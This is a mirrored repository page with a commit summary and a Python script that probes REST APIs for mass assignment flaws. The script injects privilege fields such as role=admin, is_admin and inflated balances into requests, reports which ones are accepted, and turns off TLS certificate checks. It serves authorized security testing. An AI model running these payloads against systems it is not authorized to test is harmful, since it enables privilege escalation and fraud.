mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-11 21:54:56 +03:00
c47eed6a64
- Fix 25 shell=True subprocess calls with list-based commands - Fix 49 verify=False in defensive skills (env-var override) - Add timeout to 231 HTTP/subprocess/socket calls - Fix 6 SQL injection patterns with whitelist validation - Replace 8 __import__() with standard imports - Remove 701 unused imports across 442 files - Add authorized-testing disclaimers to all offensive skills - Complete 11 incomplete skill directories - Expand 10 stub SKILL.md files with full content - Fix 2 YAML parse errors in frontmatter - Fix 5 pre-existing syntax errors - Convert 22 hardcoded paths/ports to environment variables - Back up 21 redundant skill pairs to .bak - Fix 2 global declaration errors - 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE) - 0 compile errors across all 724 agent.py files
126 lines
4.5 KiB
Python
126 lines
4.5 KiB
Python
#!/usr/bin/env python3
|
|
"""Agent for detecting mass assignment vulnerabilities in REST APIs."""
|
|
|
|
import argparse
|
|
import json
|
|
from datetime import datetime, timezone
|
|
|
|
try:
|
|
import requests
|
|
HAS_REQUESTS = True
|
|
except ImportError:
|
|
HAS_REQUESTS = False
|
|
|
|
PRIVILEGE_FIELDS = [
|
|
"role", "roles", "is_admin", "isAdmin", "admin", "privilege",
|
|
"permissions", "access_level", "user_type", "group", "groups",
|
|
"verified", "is_verified", "email_verified", "active", "is_active",
|
|
"approved", "is_approved", "subscription", "plan", "tier",
|
|
"credits", "balance", "discount",
|
|
]
|
|
|
|
|
|
def get_baseline_response(url, token=None):
|
|
"""Get baseline response to understand normal object structure."""
|
|
if not HAS_REQUESTS:
|
|
return {}
|
|
headers = {"Authorization": f"Bearer {token}"} if token else {}
|
|
try:
|
|
resp = requests.get(url, headers=headers, timeout=10, verify=False)
|
|
return resp.json()
|
|
except (requests.RequestException, json.JSONDecodeError):
|
|
return {}
|
|
|
|
|
|
def test_mass_assignment(url, method, base_data, extra_fields, token=None):
|
|
"""Test mass assignment by injecting extra fields in request body."""
|
|
if not HAS_REQUESTS:
|
|
return []
|
|
findings = []
|
|
headers = {"Authorization": f"Bearer {token}"} if token else {}
|
|
headers["Content-Type"] = "application/json"
|
|
|
|
for field in extra_fields:
|
|
test_values = {
|
|
"role": "admin",
|
|
"roles": ["admin"],
|
|
"is_admin": True,
|
|
"isAdmin": True,
|
|
"admin": True,
|
|
"permissions": ["*"],
|
|
"access_level": 999,
|
|
"verified": True,
|
|
"is_verified": True,
|
|
"active": True,
|
|
"is_active": True,
|
|
"credits": 99999,
|
|
"balance": 99999,
|
|
"plan": "enterprise",
|
|
}
|
|
payload = {**base_data, field: test_values.get(field, True)}
|
|
|
|
try:
|
|
if method.upper() == "POST":
|
|
resp = requests.post(url, json=payload, headers=headers, timeout=10, verify=False)
|
|
elif method.upper() == "PUT":
|
|
resp = requests.put(url, json=payload, headers=headers, timeout=10, verify=False)
|
|
elif method.upper() == "PATCH":
|
|
resp = requests.patch(url, json=payload, headers=headers, timeout=10, verify=False)
|
|
else:
|
|
continue
|
|
|
|
if resp.status_code in (200, 201):
|
|
resp_data = resp.json() if resp.headers.get("content-type", "").startswith("application/json") else {}
|
|
if field in str(resp_data):
|
|
findings.append({
|
|
"field": field,
|
|
"value_sent": test_values.get(field, True),
|
|
"status_code": resp.status_code,
|
|
"field_in_response": True,
|
|
"severity": "CRITICAL" if field in ("role", "is_admin", "admin", "permissions") else "HIGH",
|
|
})
|
|
except requests.RequestException:
|
|
continue
|
|
return findings
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(
|
|
description="Detect mass assignment vulnerabilities in REST APIs (authorized testing only)"
|
|
)
|
|
parser.add_argument("--url", required=True, help="API endpoint URL")
|
|
parser.add_argument("--method", default="PUT", choices=["POST", "PUT", "PATCH"])
|
|
parser.add_argument("--data", required=True, help="Base request JSON data")
|
|
parser.add_argument("--token", help="Bearer token")
|
|
parser.add_argument("--fields", nargs="*", help="Custom fields to test")
|
|
parser.add_argument("--output", "-o", help="Output JSON report")
|
|
args = parser.parse_args()
|
|
|
|
print("[*] Mass Assignment Testing Agent")
|
|
print("[!] For authorized security testing only")
|
|
|
|
base_data = json.loads(args.data)
|
|
extra_fields = args.fields or PRIVILEGE_FIELDS
|
|
|
|
findings = test_mass_assignment(args.url, args.method, base_data, extra_fields, args.token)
|
|
|
|
report = {
|
|
"timestamp": datetime.now(timezone.utc).isoformat(),
|
|
"target": args.url,
|
|
"fields_tested": len(extra_fields),
|
|
"findings": findings,
|
|
"risk_level": "CRITICAL" if any(f["severity"] == "CRITICAL" for f in findings) else "HIGH" if findings else "LOW",
|
|
}
|
|
print(f"[*] Tested {len(extra_fields)} fields, {len(findings)} accepted")
|
|
|
|
if args.output:
|
|
with open(args.output, "w") as f:
|
|
json.dump(report, f, indent=2)
|
|
print(f"[*] Report saved to {args.output}")
|
|
else:
|
|
print(json.dumps(report, indent=2))
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|